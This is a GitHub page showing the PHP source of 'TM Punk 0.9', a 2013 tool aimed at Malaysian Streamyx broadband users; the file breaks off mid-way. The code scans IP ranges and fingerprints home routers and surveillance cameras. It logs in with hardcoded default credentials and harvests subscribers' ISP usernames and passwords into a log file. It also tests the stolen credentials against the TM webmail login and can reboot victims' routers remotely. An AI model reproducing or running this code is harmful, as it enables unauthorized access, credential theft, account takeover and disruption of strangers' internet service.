-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathtmpunk 0.9.php
1441 lines (1291 loc) · 40.8 KB
/
tmpunk 0.9.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
/**
* Debug Mode
*
* @var string $debug_mode -> Set this to on if you want to debug this script otherwise off it.
*
* Sometime script can't run, just on this section to see the
* error and fix it yourself. ;)
*/
$debug_mode = "off";
/**
* @var string $year -> Set this php year.
*/
$year = "2013";
/**
* @var string $version -> Set this php version :).
*/
$version = "0.9";
/**
* @var string $release -> Set this script release date.
* Note : Year-Day-Month
*/
$release = "2013-05-15";
/**
* @var string $user_agent -> Set php user agent when trying to request data with curl :).
*/
$user_agent = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11";
/**
* @var string $author -> Author for this script ;).
*/
$author = "Mohd Shahril-AFnuM-Akif";
/**
* @var bool $verbosa -> Set if you want to make verbose as default.
*/
$verbose = false;
if($debug_mode == "off"){
error_reporting(0);
set_time_limit(0);
ini_set('error_log',NULL);
ini_set('max_execution_time',0);
ini_set('log_errors',0);
}else{
error_reporting(E_ALL);
ini_set('display_errors','On');
ini_set('error_log','my_file.log');
ini_set('error_log','');
ini_set('error_log','/dev/null'); #linux
}
date_default_timezone_set('Asia/Kuala_Lumpur'); // Here is need for new PHP Version.
$il=0; // Use in save/log function
/**
* CopyRighT ;)
*/
echo "\nTM Punk ".$version." FuckCopyright (c) ".$year." ".$author." ".$release."\n";
/**
* Version
* @content string -> Give note for what you have done to this script.
*/
if(isset($argv[1]) && $argv[1] == "-v"){
die("
\rVersion 0.1 :-
\r- Base Code Written..
\r- Only can detect what router user use only.
\rVersion 0.2 :-
\r- Add automatik login code into D-Link, Innacom and Zyxel.
\rVersion 0.3 :-
\r- Add save into log function (Thank to Akif)
\r- More interactive help.
\rVersion 0.4 :-
\r- Add ASUS DSL-N12U automatic login code.
\r- Add multiple verification if default verification fail.
\rVersion 0.5 :-
\r- Change Curl User Agent into Chrome 23.
\r- Add Streamyx Account Validation Scanner to check if that streamyx account
\r can login into streamyx web mail.
\r- Add TP-Link automatic login code.
\rVersion 0.6 :-
\r- Add User Limit (user can now get what limit of downstream that user want).
\r- Fix mistake when getting downstream/upstream on TP-Link TD-W8901G (i don't believe i make that mistake!)
\rVersion 0.7 :-
\r- Add Router Reboot function (D-Link, Innacom and TP-Link only !);
\rVersion 0.7.1 :-
\r- Add Router Reboot function for Zyxel.
\rVersion 0.8 :-
\r- Add verbose mode.
\rVersion 0.8.1 :-
\r- Add Optional Info.
\rVersion 0.8.2 :-
\r- Add ping timeout.
\r- Add IP location tracker.
\rVersion 0.8.3 :-
\r- Repair file save function.
\r- Minor change.
\rVersion 0.9 :-
\r Website checking for online or offline function is now multithread.
\r Geo Location function is not default now. (You must select it in options)
\r Script scanning speed now up to 50%. (thank to curl multithread).
\rThank to : Akif (for log function) and other people who support.
");
}
/**
* Check if user input "-reboot" perimeter in this script.
* If "-rebot" exist, then check for it value.
* If the value can be accepted, then check data for that IP address
* If this script can connect into that router, so this script automatically reboot that router.
*/
if(in_array("-reboot", $argv, true)){
$key = array_search("-reboot", $argv);
$value = $key + 1;
$ip = $argv[$value];
if(!filter_var($ip, FILTER_VALIDATE_IP)){ echo "\nIncorrect IP Address Format\n";die(); }
if(check_old($ip) != TRUE){ echo "\nIP address ".$ip." didn't exist :(\n";die(); }
$data = curl($ip);
$info_return = checkdata($data);
if($info_return == "Innacom"){
$result = innacom_reboot($ip);
if($result == true){
echo "\n".$ip." is rebooting now !\n";die();
}else{
echo "\nError when trying to reboot Router at ".$ip."!\n";die();
}
}elseif($info_return == "D-Link"){
if(strpos($data, "SEA_1.01")){ $result = dlink_reboot($ip, "SEA_1.01"); }else{ $result = dlink_reboot($ip, ""); }
if($result == true){
echo "\n".$ip." is rebooting now !\n";die();
}else{
echo "\nError when trying to reboot Router at ".$ip."!\n";die();
}
}elseif($info_return == "TP-Link TD-W8901G"){
$result = TpLink_reboot($ip);
if($result == true){
echo "\n".$ip." is rebooting now !\n";die();
}else{
echo "\nError when trying to reboot Router at ".$ip."!\n";die();
}
}elseif($info_return == "Zyxel P-600"){
$result = zyxel_reboot($ip);
if($result == true){
echo "\n".$ip." is rebooting now !\n";die();
}else{
echo "\nError when trying to reboot Router at ".$ip."!\n";die();
}
}else{
echo "\nCan't determine what Router for ".$ip." :(\n";die();
}
}
/**
* Check if user input "-limit" perimeter in this script.
* If "-limit" exist, then check for it value.
* If the value can be accepted, then set $limit_bool into "set"
* If value can't be accepted, then this script will automatic exit with error message
*/
if(in_array("-limit", $argv, true)){
$find_key = array_search("-limit", $argv);
$limit_value = $find_key + 1;
if(strtolower($argv[$limit_value]) == "4mb"){
$limit_bool = "set";
}elseif(strtolower($argv[$limit_value]) == "2mb"){
$limit_bool = "set";
}elseif(strtolower($argv[$limit_value]) == "8mb"){
$limit_bool = "set";
}else{
echo "\nMake sure limit perimeter is 4mb or 2mb !\n";
echo "Exiting!\n";
sleep(1);
die();
}
}
/**
* Geolocation argument
*/
if(in_array("-geol", $argv, true)){
$geol = true;
}
/**
* Take save file argument
*/
if(in_array("-save", $argv, true)){
$find_key = array_search("-save", $argv);
$value = $find_key + 1;
$filesave = $argv[$value];
}
/**
* If user make $verbose as false in default
* User can make it true back using command line argument
*/
if(in_array("-verbose", $argv, true)){
$verbose = true;
}else{
$verbose = false;
}
/**
* If user want TM Punk to show optional info.
* Then this is section of it :)
*/
if(in_array("-g", $argv, true)){
$optional = true;
}else{
$optional = false;
}
/**
* Streamyx Account Validation Scanner
*
* First, this section will check if local computer has internet.
* If internet didn't exist, then automatic exit with error message.
* If internet exist, then continue, then script will look into provide log.
* Then will make request one per one into streamyx webmail using curl request.
* If respond is good, then username/password is accepted.
*/
if(isset($argv[1]) && $argv[1] == "-c"){
if(!check_old("http://google.com/")){
echo "\nYour computer look like didn't have internet connection !\n";
echo "Internet is important if u want to use this service\n";
echo "Exiting...\n";
sleep(1);
die();
}
if(empty($argv[2])) { die("\nPlease enter your log file\n"); }
if(!file_exists($argv[2])) { echo "\nFile ".$argv[2]." can't be found\n";die(); }
$getfile = file_get_contents($argv[2]);
if($verbose){
echo "\nGet content from ".$argv[2]." file\n";
}
$simpan = explode("Streamyx User : ", $getfile);
foreach($simpan as $one){
$data = explode("\n", $one);
$tmp_p = explode("Streamyx Pass :", $data[1]);
$tmp_u = explode("@", trim($data[0]));
$username = trim($tmp_u[0]);
$password = trim($tmp_p[1]);
$post = "Login.Token1=".$username."&org=streamyx.com&Login.Token2=".$password."&Login=Log+In&module=LDAP&channelName=Login";
$url = "http://webmail.tm.net.my/amserver/UI/Login";
if($verbose){
echo "Trying to connect with TM Mail Server...\n\n";
}
$tmp = curl($url, "", $post);
if(strpos($tmp, "postprocess")){
echo "\nEmail Username : ".$username."@streamyx\n";
echo "Email Password : ".$password."\n";
}else{
if($verbose){
echo "Fail when parse username and password to TM Mail Server\n";
}
}
}
die();
}
/**
* Take IP and range code
*/
if(in_array("-ip", $argv, true)){
$find_key = array_search("-ip", $argv);
$value = $find_key + 1;
$ip = $argv[$value];
}
if(in_array("-range", $argv, true)){
$find_key = array_search("-range", $argv);
$value = $find_key + 1;
$range = $argv[$value];
}
/**
* Help File
*/
if($verbose){
$verbose_check = "On";
}else{
$verbose_check = "Off";
}
if(!isset($argv[1]) || $argv[1] == "-help" || $argv[1] == "-h" || $argv[1] == "/?"){
die("
\r USAGE :
\r php \"{$argv[0]}\" -ip <ip> -range <range> (optional) -save <filename>
\r php \"{$argv[0]}\" -c <filename>
\r php \"{$argv[0]}\" -ip <ip> -range <range> -limit \"4m\"
\r php \"{$argv[0]}\" -ip <ip> -range <range> -save -limit \"2m\"
\r php \"{$argv[0]}\" -reboot <ip>
\r OPTIONS :
\r -ip <ip> : Specific target IP.
\r -range <range> : Range scanner need to scan.
\r OPTIONAL :
\r -g : Get optional info that you must know :)
\r -save <filename> : Save result in specific file.
\r -c <filename> : Check streamyx account if that account can use in
\r streamyx mail system.
\r -v : Show what version of TM Punk you have now.
\r -limit <speed> : Filter output from result. (In 2mb,4mb & 8mb).
\r -reboot <ip> : Automatically reboot those router ;).
\r -verbose : Verbose Mode. (Default = ".$verbose_check.")
\r -geol : Get location of streamyx user.
");
}
/**
* Base Code
*
* This will be long, but I will try explain it :P.
* First, this script will check user input (ip address) in argument 1.
* If IP is accepted, then continue.
* After that, it will check for user input (range) in argument 2.
* If accepted, then continue.
* Then this php will split the IP address and re-arrange it with user range.
* After that, this script will start looping with provide user range.
* Then PHP call another function to check data in looping IP address one by one.
* If data is equal with function that been provide, then PHP will check user limit.
* *- User limit is optional, you doesn't need to provide it if you don't want to limit anything.
* *- If downstream of data is equal with user limit, then show the username/password/upstream/downstream.
* If user doesn't provide any user limit, then php will show normally.
* Any IP that doesn't equal with any data in provide function, then PHP will show IP with no result.
* Then above process will do again and again until range is complete.
*/
if(isset($ip) && isset($range)){
$streamyx_ip = $ip;
if(!filter_var($streamyx_ip, FILTER_VALIDATE_IP)){ echo "\nIncorrect IP Address Format\n";die(); }
if(strpos($range, "-")){
$range_if = explode("-", $range);
}else{
echo "\nIncorrect Range Format\n";die();
}
if($range_if[1] > 255){
echo "\nIncorrect Range Format\n";die();
}
$a = explode(".", $streamyx_ip);
if($verbose){
echo "\nTry to parse IP address to valit input\n";
}
$a = $a[0].".".$a[1].".".$a[2];
echo "\nScanning ".$a.".".$range."... \n\n";
$b = explode("-", $range);
$ole = range($b[0], $b[1]);
$ol = count($ole);
$give = "Status : Scan started for IP range ".$a.".".$range."... ";
if(!empty($filesave)){
file_put_contents($filesave, $give, FILE_APPEND);
}
$collect_ip = array();
for($i = $range_if[0]; $i <= $range_if[1]; $i++){
$collect_ip[] = "http://".$a.".".$i."/";
}
$data_check_return = check($collect_ip);
$online = array();
foreach($data_check_return as $b => $k){
if(!empty($k)){
$online[] = $b + 1;
}
}
foreach($online as $i){
if($verbose){
echo "Checking for ".$a.".".$i." if online\n";
}
$data = curl($a.".".$i, "", "");
if($verbose){
echo "Checking data for ".$a.".".$i."\n";
}
$data_return = checkdata($data, $a.".".$i);
if($data_return == "Innacom")
{
$tunjuk = Innacom($a.".".$i, $filesave);
if(isset($limit_bool) && $limit_bool == "set"){
$downstream = getdownstream($tunjuk);
if(limit($downstream, $argv[$limit_value])){
$il++;
echo $a.".".$i." is ".$data_return."\n";
echo "Ping time : ".ping($a.".".$i)."\n";
if($geol){
echo "Location : ".get_geolocation($a.".".$i)."\n";
}
echo $tunjuk;
echo "\n";
}
}else{
$il++;
echo $a.".".$i." is ".$data_return."\n";
echo "Ping time : ".ping($a.".".$i)."\n";
if($geol){
echo "Location : ".get_geolocation($a.".".$i)."\n";
}
echo $tunjuk;
echo "\n";
}
}
elseif($data_return == "ASUS DSL-N12U")
{
$tunjuk = asus($a.".".$i, $filesave);
if(isset($limit_bool) && $limit_bool == "set"){
$downstream = getdownstream($tunjuk);
if(limit($downstream, $argv[$limit_value])){
$il++;
echo $a.".".$i." is ".$data_return."\n";
echo "Ping time : ".ping($a.".".$i)."\n";
if($geol){
echo "Location : ".get_geolocation($a.".".$i)."\n";
}
echo $tunjuk;
echo "\n";
}
}else{
$il++;
echo $a.".".$i." is ".$data_return."\n";
echo "Ping time : ".ping($a.".".$i)."\n";
if($geol){
echo "Location : ".get_geolocation($a.".".$i)."\n";
}
echo $tunjuk;
echo "\n";
}
}
elseif($data_return == "TP-Link TD-W8901G")
{
$tunjuk = TpLink($a.".".$i, $filesave);
if(isset($limit_bool) && $limit_bool == "set"){
$downstream = getdownstream($tunjuk);
if(limit($downstream, $argv[$limit_value])){
$il++;
echo $a.".".$i." is ".$data_return."\n";
echo "Ping time : ".ping($a.".".$i)."\n";
if($geol){
echo "Location : ".get_geolocation($a.".".$i)."\n";
}
echo $tunjuk;
echo "\n";
}
}else{
$il++;
echo $a.".".$i." is ".$data_return."\n";
echo "Ping time : ".ping($a.".".$i)."\n";
if($geol){
echo "Location : ".get_geolocation($a.".".$i)."\n";
}
echo $tunjuk;
echo "\n";
}
}
elseif($data_return == "D-Link")
{
if(strpos($data, "SEA_1.01")){
$tunjuk = dlink($a.".".$i, "SEA_1.01", $filesave);
}else{
$tunjuk = dlink($a.".".$i, "", $filesave);
}
if(isset($limit_bool) && $limit_bool == "set"){
$downstream = getdownstream($tunjuk);
if(limit($downstream, $argv[$limit_value])){
$il++;
echo $a.".".$i." is ".$data_return."\n";
echo "Ping time : ".ping($a.".".$i)."\n";
if($geol){
echo "Location : ".get_geolocation($a.".".$i)."\n";
}
echo $tunjuk;
echo "\n";
}
}else{
$il++;
echo $a.".".$i." is ".$data_return."\n";
echo "Ping time : ".ping($a.".".$i)."\n";
if($geol){
echo "Location : ".get_geolocation($a.".".$i)."\n";
}
echo $tunjuk;
echo "\n";
}
}
elseif($data_return == "Zyxel P-600")
{
$tunjuk = zyxel($a.".".$i, $filesave);
if(isset($limit_bool) && $limit_bool == "set"){
$downstream = getdownstream($tunjuk);
if(limit($downstream, $argv[$limit_value])){
$il++;
echo $a.".".$i." is ".$data_return."\n";
echo "Ping time : ".ping($a.".".$i)."\n";
if($geol){
echo "Location : ".get_geolocation($a.".".$i)."\n";
}
echo $tunjuk;
echo "\n";
}
}else{
$il++;
echo $a.".".$i." is ".$data_return."\n";
echo "Ping time : ".ping($a.".".$i)."\n";
if($geol){
echo "Location : ".get_geolocation($a.".".$i)."\n";
}
echo $tunjuk;
echo "\n";
}
}
else
{
if(isset($data_return)){
if($optional){
echo $a.".".$i." is ".$data_return."\n";
$il++;
$give = "IP : $a.$i \r\nDevice : ".$data_return."\r\nStatus : Method not implemented\r\n";
if(!empty($filesave)){
file_put_contents($filesave, $give, FILE_APPEND);
}
echo "\n";
}
}else{
if($optional){
$il++;
echo $a.".".$i." exist but no data for this IP\n";
$give = "IP : $a.$i \r\nDevice : unknown\r\nStatus : Unknown device\r\n";
if(!empty($filesave)){
file_put_contents($filesave, $give, FILE_APPEND);
}
echo "\n";
}
}
}
if($verbose){
echo $a.".".$i." if not exist or offline\n\n";
}
}
$give = "Status : Scan ended.. total there are ".$il." IPs accessible out of ".$ol." IPs on range. \r\n";
echo $give;
if(!empty($filesave)){
file_put_contents($filesave, $give, FILE_APPEND);
}
die();
}
/**
* List of another verification if default verification is fail.
* Note : username => password
*/
$list = array(
"admin" => "tmadmin",
"tmadmin" => "admin",
"admin" => "admin",
"tmuser" => "tmuser",
"tmbusiness" => "tmbusiness",
"tmuser" => "tmbusiness",
"tmadmin" => "tmbusiness",
"support" => "support"
);
/**
* @param string array $url -> Check if host exist in port 80.
* @return string array -> Return true if host exist.
*/
function check($data, $options = array()){
$curly = array();
$result = array();
$mh = curl_multi_init();
foreach($data as $id => $d) {
$curly[$id] = curl_init();
$url = (is_array($d) && !empty($d['url'])) ? $d['url'] : $d;
curl_setopt($curly[$id], CURLOPT_URL, $url);
curl_setopt($curly[$id], CURLOPT_HEADER, 0);
curl_setopt($curly[$id], CURLOPT_RETURNTRANSFER, 1);
if (is_array($d)) {
if (!empty($d['post'])) {
curl_setopt($curly[$id], CURLOPT_POST, 1);
curl_setopt($curly[$id], CURLOPT_POSTFIELDS, $d['post']);
}
}
curl_setopt($curly[$id],CURLOPT_TIMEOUT, 1);
if (!empty($options)) {
curl_setopt_array($curly[$id], $options);
}
curl_multi_add_handle($mh, $curly[$id]);
}
$running = null;
do {
curl_multi_exec($mh, $running);
}
while ($running > 0);
foreach($curly as $id => $c) {
$result[$id] = curl_multi_getcontent($c);
curl_multi_remove_handle($mh, $c);
}
curl_multi_close($mh);
return $result;
}
/**
* Old version
*/
function check_old($url){
global $verbose;
if($verbose){
echo "Trying to connect with ".$url."\n";
}
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url );
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_VERBOSE,false);
curl_setopt($ch,CURLOPT_TIMEOUT, 1);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch,CURLOPT_SSLVERSION,3);
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST, FALSE);
$page=curl_exec($ch);
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
//return $httpcode;
if($verbose){
echo "Router in ".$url." return this code -> ".$httpcode."\n";
}
if($httpcode>=200 && $httpcode<402) return true;
else return false;
}
/**
* @param string $data -> ry to check other data after script can't detect any Router there
* @return string -> Return Router data.
*/
function checkdata($data, $ip = ""){
if(strpos($data, "parent.location=")){ // For IP that move to other location ;)
$pecah = explode("parent.location='", $data);
$pecah = explode("'", $pecah[1]);
$get = curl($pecah[0], "", "");
if(strpos($get, "Innacom")){
return "Innacom";
}elseif(strpos($get, "logo_dlink.jpg")){
return "DSL-2640B Wireless Router";
}elseif(strpos($get, "DSL-2750U")){
return "DSL-2750U";
}
}elseif(strpos($data, "<A HREF='/login.rsp'>here</a></")){
$pecah = cutstr($data, "HREF='", "'");
$get = curl($ip.$pecah);
if(strpos($get, "DVR LOGIN")){
return "DVR LOGIN";
}
}elseif(strpos($data, "Asus")){
return "ASUS DSL-N12U";
}elseif(strpos($data, "TD-W8901G")){
return "TP-Link TD-W8901G";
}elseif(strpos($data, "D-Link")){
return "D-Link";
}elseif(strpos($data, "TM6841G")){
return "Zyxel P-600";
}elseif(strpos($data, "DVR remote management sytem")){
return "DVR remote management system";
}elseif(strpos($data, "IP Surveillance")){
return "IP Surveillance System";
}elseif(strpos($data, "Net Viewer D6 Series Web-Program")){
return "Net Viewer D6 Series Web-Program";
}elseif(strpos($data, "16 CH")){
return "16 CH (camera surveillance maybe ? :] )";
}elseif(strpos($data, "DVR Components Download")){
return "DVR Web Client/Camera";
}elseif(strpos($data, '<img src="images/user.gif" width="32" height="48"></TD>')){
return "Web Camera";
}elseif(strpos($data, "DVR LOGIN")){
return "DVR Camera Login";
}elseif(strpos($data, "PC DVR Web Client")){
return "PC DVR Web Client";
}elseif(strpos($data, "IDS_WEB_WEBCAM_LOGIN")){
return "Webcam Login";
}elseif(strpos($data, "NETSuveillance WEB")){
return "NETSuveillance WEB";
}elseif(strpos($data, "DSL Router")){
return "DSL Router";
}elseif(strpos($data, 'id="btnLive" onClick="openLive()"')){
return "Remote Monitoring System";
}elseif(strpos($data, "TD-W8961ND")){
return "TP-Link TD-W8961ND";
}elseif(strpos($data, "Web Application Manager")){
return "Web Application Manager";
}elseif(strpos($data, "BP Software")){
return "BP Software";
}elseif(strpos($data, "BattleLAN Network")){
return "BattleLAN Network";
}elseif(strpos($data, "WebDVR")){
return "WebDVR";
}elseif(strpos($data, "RouterOS")){
return "RouterOS ";
}elseif(strpos($data, "WebCam")){
return "WebCam";
}elseif(strpos($data, "DVR-04CH")){
return "DVR-04CH";
}elseif(strpos($data, "Network video client")){
return "Network video client";
}
}
/**
* @param string $string -> Remove Curly Bracket from String
*/
function removecurly($string){
$remove = str_replace("{", "", $string);
$remove = str_replace("}", "", $remove);
return $remove;
}
/**
* Innacom function by AFnuM
* @param string $ip -> Get ip then automatically get streamyx user info.
* @return string -> Return streamyx user info.
*/
function Innacom($ip, $filesave = "")
{
if(isset($ip))
{
global $list;
global $verbose;
$result = "";
if($verbose){
$result .= "Try to connect to Innacom router with default username & password\n";
}
$curl = curl("http://".$ip."/login.cgi?username=support&psd=support", "", "");
//Using another verification
if(strpos("Authentication fail", $curl)){
if($verbose){
$result .= "Default authentication fail, try with another\n";
}
foreach($list as $username => $pass){
$curl = curl("http://".$ip."/login.cgi?username=".$username."&psd=".$pass."", "", "");
if(strpos("Authentication fail", $curl) === FALSE){
if($verbose){
$result .= "All authentication was failed!\n";
}
break;
}
}
}
if($verbose){
$result .= "Authentication success ! Try to take data now !\n";
}
$cook = GetCookies($curl);
$curl = curl("http://".$ip."/wancfg.cmd", $cook, "");
$curl1 = curl("http://".$ip."/info.html", $cook, "");
preg_match_all("/var obj2Items = '(.*)';/U", $curl, $f);
preg_match_all("/var obj1Items = '(.*)';/U", $curl1, $f1);
$exp = explode("-", $f[1][0]);
$exp1 = explode("-", $f1[1][0]);
if(!empty($exp[12]) && !empty($exp[13]))
{
$result .= "Streamyx User : ".removecurly($exp[12])."\n";
$result .= "Streamyx Pass : ".removecurly($exp[13])."\n";
}
if(!empty($exp1[10]) && !empty($exp1[11]))
{
$result .= "Upstream : ".str_replace("000", "", removecurly($exp1[10]))."\n";
$result .= "Downstream : ".str_replace("000", "", removecurly($exp1[11]))."\n";
}
else return false;
if($verbose){
$result .= "Take data success ! \n";
}
if(!empty($filesave) && !empty($exp[12])){
$data = array(
"IP" => $ip,
"Router" => "Innacomm",
"Streamyx User" => removecurly($exp[12]),
"Streamyx Pass" => removecurly($exp[13]),
"Upstream" => str_replace("000", "", removecurly($exp1[10])),
"Downstream" => str_replace("000", "", removecurly($exp1[11]))
);
file_put_contents($filesave, "\r\n\r\n", FILE_APPEND);
foreach($data as $name => $value){
file_put_contents($filesave, "\r\n".$name." : ".$value, FILE_APPEND);
}
}
return $result;
}
}
/**
* Innacom Reboot by Shahril
* @param string $ip -> Get ip then automatically reboot the Router.
* @return bool -> Return bool result info.
*/
function innacom_reboot($ip){
global $list;
global $verbose;
//Login into Router
if($verbose){
echo "Try to connect to Innacom router with default username & password\n";
}
$curl = curl("http://".$ip."/login.cgi?username=support&psd=support", "", "");
//Using another verification
if(strpos("Authentication fail", $curl)){
if($verbose){
echo "Default authentication fail, try with another\n";
}
foreach($list as $username => $pass){
$curl = curl("http://".$ip."/login.cgi?username=".$username."&psd=".$pass."", "", "");
if(strpos("Authentication fail", $curl) === FALSE){
if($verbose){
echo "All authentication was failed!\n";
}
break;
}
}
}
if($verbose){
echo "Authentication success ! Try to reboot that router now !\n";
}
$cook = GetCookies($curl);
$reboot = curl("http://".$ip."/rebootinfo.cgi", $cook);
if(strpos($reboot, "Router is rebooting")){ return true; }else{ return false; }
}
/**
* D-Link function by Shahril
* @param string $ip -> Get ip then automatically get streamyx user info.
* @param string $type -> Check Router type.
* @return string -> Return streamyx user info.
*/
function dlink($ip, $type, $filesave = ""){
global $list;
global $verbose;
$result = "";
if($type == "SEA_1.01") { $User = "admin"; }else{ $User = "tmadmin"; }
//Login into Router
if($verbose){
$result .= "Try to connect to DLink router with default username & password\n";
}
$login = curl("http://".$ip."/index.html", "username=".$User.";password=tmadmin", "username=".$User."&password=tmadmin&loginfo=on");
//Using another verification
if(strpos("auth_fail.html", $login)){
if($verbose){
$result .= "Default authentication fail, try with another\n";
}
foreach($list as $username => $pass){
$login = curl("http://".$ip."/index.html", "username=".$User.";password=".$pass, "username=".$User."&password=".$pass."&loginfo=on");
if(strpos("auth_fail.html", $login) === FALSE){
if($verbose){
$result .= "All authentication was failed!\n";
}
break;
}
}
}
if($verbose){
$result .= "Authentication success ! Try to take data now !\n";
}
// Find Username & Password
$data = curl("http://".$ip."/internet_js.html", "username=".$User."; password=tmadmin" , "");
$data = explode("pppUserName.value = '", $data);
$username = explode("';", $data[1]);
$password = explode("pppPassword.value = '", $username[1]);
//
//Find Upstream & Downstream
$data1 = curl("http://".$ip."/info.html", "username=".$User."; password=tmadmin" , "");
$data1 = explode('Downstream Line Rate (Kbps):', $data1);
$data1 = explode('document.write("<td>', $data1[1]);
$downstream = explode('</td>");', $data1[1]);
$upstream = explode('</td>");', $data1[2]);
//
//Variable for data
$dl_user = $username[0];
$dl_pass = $username[1];
$dl_up = trim($upstream[0]);
$dl_down = trim($downstream[0]);
if(!empty($dl_user) && !empty($dl_pass)){
$result .= "Streamyx User : ".$username[0]."\n";
$result .= "Streamyx Pass : ".$password[1]."\n";
}
if(!empty($dl_up) && !empty($dl_down)){
$result .= "Upstream : ".trim($upstream[0])."\n";
$result .= "Downstream : ".trim($downstream[0])."\n";
}
if($verbose){
$result .= "Take data success ! \n";
}
if(!empty($filesave) && !empty($dl_user)){
$data = array(
"IP" => $ip,
"Router" => "D-Link Streamyx",
"Streamyx User" => $dl_user,
"Streamyx Pass" => $dl_pass,
"Upstream" => $dl_up,
"Downstream" => $dl_down
);
file_put_contents($filesave, "\r\n\r\n", FILE_APPEND);
foreach($data as $name => $value){
file_put_contents($filesave, "\r\n".$name." : ".$value, FILE_APPEND);
}
}
return $result;
}
/**
* DLink Reboot by Shahril
* @param string $ip -> Get ip then automatically reboot the Router.
* @return bool -> Return bool result info.
*/
function dlink_reboot($ip, $type){
global $list;
global $verbose;
if($type == "SEA_1.01") { $User = "admin"; }else{ $User = "tmadmin"; }
//Login into Router
if($verbose){
$result .= "Try to connect to DLink router with default username & password\n";
}
$login = curl("http://".$ip."/index.html", "username=".$User.";password=tmadmin", "username=".$User."&password=tmadmin&loginfo=on");
//Using another verification
if(strpos("auth_fail.html", $login)){
if($verbose){
$result .= "Default authentication fail, try with another\n";
}
foreach($list as $username => $pass){
$login = curl("http://".$ip."/index.html", "username=".$User.";password=".$pass, "username=".$User."&password=".$pass."&loginfo=on");
if(strpos("auth_fail.html", $login) === FALSE){
if($verbose){
$result .= "All authentication was failed!\n";
}
break;
}
}
}
//Send request to reboot Router
if($verbose){
echo "Authentication success ! Try to reboot that router now !\n";
}
$reboot = curl("http://".$ip."/rebootinfo.cgi", "username=".$User."; password=tmadmin" , "");
if(strpos($reboot, "Please wait...")){ return true; }else{ return false; }
}
/**